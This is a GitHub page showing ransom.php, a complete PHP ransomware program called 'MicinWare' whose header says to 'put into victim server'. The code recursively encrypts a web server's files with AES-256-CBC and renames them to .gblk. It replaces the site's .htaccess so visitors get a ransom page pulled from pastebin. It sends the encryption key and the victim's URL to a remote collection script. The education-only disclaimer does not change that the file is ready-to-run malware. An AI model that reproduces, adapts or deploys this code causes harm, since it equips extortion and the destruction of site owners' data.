-
Notifications
You must be signed in to change notification settings - Fork 8
/
Copy pathransom.php
executable file
·333 lines (288 loc) · 9.95 KB
/
ransom.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
<?php
define("DOC_ROOT", $_SERVER['DOCUMENT_ROOT']);
/**
* @author Krypton aka GreyCat aka 0x00b0
* @copyright ExploreOurBrain - 2019
* put into victim server
* Open Source PHP RansomeWare - MicinWare
* Disclaimer :
This source code is for research purpose only, the use of this code is YOUR RESPONSIBILITY
I take NO responsibility and/or liability for how you choose to use any of this source code.
By using of this file, you understand that you are AGREEING TO USE AT YOUR OWN RISK. Once again,
Source code available is for EDUCATION and/or RESEARCH purposes ONLY.
Any actions and/or activities related to the material contained within this source code is solely your responsability. Misuse of the information in this source code can result in criminal charges being brought against the persons in question. I will not be held responsible in the event any criminal charges are brought against any individuals misuing the code in this source code to break the law.
*/
MicinWare::main();
class MicinWare
{
public static $attacker = 'GreyCat';
public static $mailAttacker = '';//fill it if u want to sendmail the key
public function main()
{
$token = bin2hex(openssl_random_pseudo_bytes(16));
$path = !empty($_POST['path']) ? $_POST['path'] : getcwd();
$key = isset($_POST['key']) ? $_POST['key'] : "";
$type = isset($_POST['type']) ? $_POST['type'] : "";
self::MicinWareGUI();
if (isset($_POST['submit']))
{
switch ($type)
{
case 'Cry':
self::_throwMicin($token,'Log',$path);
self::MicinCrypto($path,$token,'Cry');
break;
case 'Decry':
self::MicinCrypto($path,$key,'Decry');
break;
default:
echo 'Choose of checkboxes -_-';
break;
}
die;
}
}
public function MicinWareGUI()
{
echo '
<!DOCTYPE html>
<html lang="en">
<!-- Krypton aka GreyCat aka 0x0b0 - Explore Our Brain de Maniac Coding -->
<head>
<meta charset="UTF-8">
<title>MicinWare</title>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css">
<link rel="stylesheet" type="text/css" href="https://raw.githubusercontent.com/exploreourbrain/CSS-MicinWare/master/style.css">
<link rel="shortcut icon" type="image/png" href="https://sensorstechforum.com/wp-content/uploads/2016/06/lock-padlock-symbol-for-security-interface.png"/>
<link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.7.2/css/all.css" integrity="sha384-fnmOCqbTlWIlj8LyTjo7mOUStjsKC4pOpQbqyi7RrhN7udi9RwhKkMHpvLbHG9Sr" crossorigin="anonymous">
<script src="https://cdnjs.cloudflare.com/ajax/libs/prefixfree/1.0.7/prefixfree.min.js"></script>
<script
src="https://code.jquery.com/jquery-3.3.1.slim.min.js"
integrity="sha256-3edrmyuQ0w65f8gfBsqowzjJe2iM6n0nKciPUp8y+7E="
crossorigin="anonymous"></script>
</head>
<body>
<center><img src="https://i.postimg.cc/gkQK4cwt/micin-2.png"><br></center>
<form action="" method="POST">
<div class="radio">
<input id="value2" type="radio" name="type" class="type" value="Cry" />
<label for="value2">Cry</label>
</div>
<div class="radio">
<input id="value3" type="radio" name="type" class="type" value="Decry"/>
<label for="value3">deCry</label>
</div>
<input type="text" placeholder="Path ex: /var/www/html/victimDir" name="path" value="'.getcwd().'"/>
<input type="text" placeholder="Key Decryptor" id="key" style="display: none;" name="key" />
<input type="submit" value="Submit" name="submit" />
</form>
</body>
</html>
<script type="text/javascript">
$(\'.type\').click(function(event) {
var check = $(this).val();
if (check === \'Decry\')
{
$(\'#key\').show();
}
else
{
$(\'#key\').hide();
}
});
</script>
';
}
public function scanDir($dir='',$token='',&$result = array())
{
$files = scandir($dir);
$extensions = array("jpg","png","gif","zip");//not encrypted
foreach($files as $key => $value)
{
$path = realpath($dir.'/'.$value);
if(!is_dir($path))
{
$ext = self::getFileExtension($path);
if (!in_array($ext,$extensions))
{
if ( !strpos($path,basename(__FILE__)) && !strpos($path,".htaccess") && !strpos($path,"greycat.php") && !strpos($path,"micin.php") )
{
$result[] = $path;
}
}
}
else if($value != "." && $value != ".." )
{
self::scanDir($path,$token, $result);
}
flush();
ob_flush();
}
return $result;
}
public function MicinCrypto($path='',$key='', $type='')
{
if ($type == 'Cry')
{
self::generateMicin();
}
else
{
self::ungenerateMicin();
}
$xData = self::scanDir($path,$key);
echo "<table>";
foreach ($xData as $no => $value)
{
switch ($type)
{
case 'Cry':
//encrypt content
$Cry = self::micinCry(file_get_contents($value),$key);
if (empty($Cry))
{
echo '<font color="red">[ - ] Something Wr0ng LoL ???</font>';
die();
}
$fp = fopen($value, 'w');
//encrypt filename
$rename = rename($value, dirname($value).'/'.urlencode(bin2hex(pathinfo($value, PATHINFO_BASENAME))).".gblk");//Don't Cry baby
if (fwrite($fp, $Cry))
{
echo " <tr>
<td><i class='fa fa-check' style='color:lime;'></i></td>
<td>".$value."</td>
<td><span style='color:lime;'>Encrypted</span></td>
</tr>";
}
else
{
echo " <tr>
<td><i class='fa fa-times' style='color:red;'></i></td>
<td>".$value."</td>
<td><span style='color:red;'>Failed !</span></td>
</tr>";
}
break;
case 'Decry':
//decrypt content
$deCry = self::micindeCry(file_get_contents($value),$key);
if (empty($deCry))
{
echo '<font color="red">[ - ] Wr0ng Key LoL ???</font>';
die;
}
$fp = fopen($value, 'w');
//decrypt filename
$decryptName = explode(".", $value);
$rename = rename($value, pathinfo($value,PATHINFO_DIRNAME).'/'.urldecode( hex2bin(pathinfo($decryptName[0],PATHINFO_BASENAME))));//Don't Cry baby
if (fwrite($fp, $deCry))
{
echo " <tr>
<td><i class='fa fa-check' style='color:lime;'></i></td>
<td>".$value."</td>
<td><span style='color:lime;'>Decrypted </span></td>
</tr>";
}
else
{
echo " <tr>
<td><i class='fa fa-times' style='color:red;'></i></td>
<td>".$value."</td>
<td><span style='color:red;'>Failed !</span></td>
</tr>";
}
break;
}
flush();
ob_flush();
}
echo "</table>";
}
private function getFileExtension($filename)
{
$path_info = pathinfo($filename,PATHINFO_EXTENSION);
return $path_info;
}
public function micinCry($plaintext='',$key='')
{
$options = OPENSSL_RAW_DATA;
$as_binary = true;
$ivlen = openssl_cipher_iv_length("aes-256-cbc");
$iv = openssl_random_pseudo_bytes($ivlen);
$ciphertext_raw = openssl_encrypt($plaintext, "aes-256-cbc", $key, $options, $iv);
$hmac = hash_hmac('sha256', $ciphertext_raw, $key, $as_binary);
$ciphertext = self::_throwMicin( $iv.$hmac.$ciphertext_raw ,'Cry');
return $ciphertext;
}
public function micindeCry($ciphertext='',$key='')
{
$c = self::_throwMicin($ciphertext,'Decry');
$options = OPENSSL_RAW_DATA;
$ivlen = openssl_cipher_iv_length("aes-256-cbc");
$iv = substr($c, 0, $ivlen);
$hmac = substr($c, $ivlen, $sha2len=32);
$ciphertext_raw = substr($c, $ivlen+$sha2len);
$original_plaintext = openssl_decrypt($ciphertext_raw, "aes-256-cbc", $key, $options, $iv);
$calcmac = hash_hmac('sha256', $ciphertext_raw, $key, $as_binary=true);
if (hash_equals($hmac, $calcmac))
{
return $original_plaintext."\n";
}
}
public function generateMicin()
{
$check = file_exists(DOC_ROOT."/.htaccess.old");
if (!$check)
{
rename(DOC_ROOT.'/.htaccess', DOC_ROOT.'/.htaccess.old');
file_put_contents(DOC_ROOT.'/.htaccess', "DirectoryIndex greycat.php\nErrorDocument 404 /greycat.php\nErrorDocument 403 /greycat.php\nErrorDocument 500 /greycat.php");
file_put_contents(DOC_ROOT.'/greycat.php', file_get_contents("https://pastebin.com/raw/xBpsQ1Mw"));
}
}
public function ungenerateMicin()
{
$check = file_exists(DOC_ROOT."/.htaccess.old");
if ($check)
{
unlink(DOC_ROOT."/.htaccess");
unlink(DOC_ROOT."/greycat.php");
rename(DOC_ROOT.'/.htaccess.old', DOC_ROOT.'/.htaccess');
}
}
private function _deliveryMicin($url, $postVars = array())
{
$postStr = http_build_query($postVars);
$options = array(
'http' =>
array(
'method' => 'POST',
'header' => 'Content-type: application/x-www-form-urlencoded',
'content' => $postStr
)
);
$streamContext = stream_context_create($options);
$result = file_get_contents($url, false, $streamContext);
if($result === false)
{
$error = error_get_last();
throw new Exception('POST request failed: ' . $error['message']);
}
return $result;
}
private function _throwMicin($data='',$type='',$pathMicined='')
{
//Yow, What do u want ?
$actualLink = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]";
$result = self::_deliveryMicin('http://localheart/ransom/micin.php',
array(
'taburinMicin' => $type,
'komposisi' => $data,
'you' => $actualLink,
'micined' => ( isset($pathMicined) ? $pathMicined : ""),
'email' => ( self::$mailAttacker == true ? self::$mailAttacker : ""),
));
return $result;
}
}
?>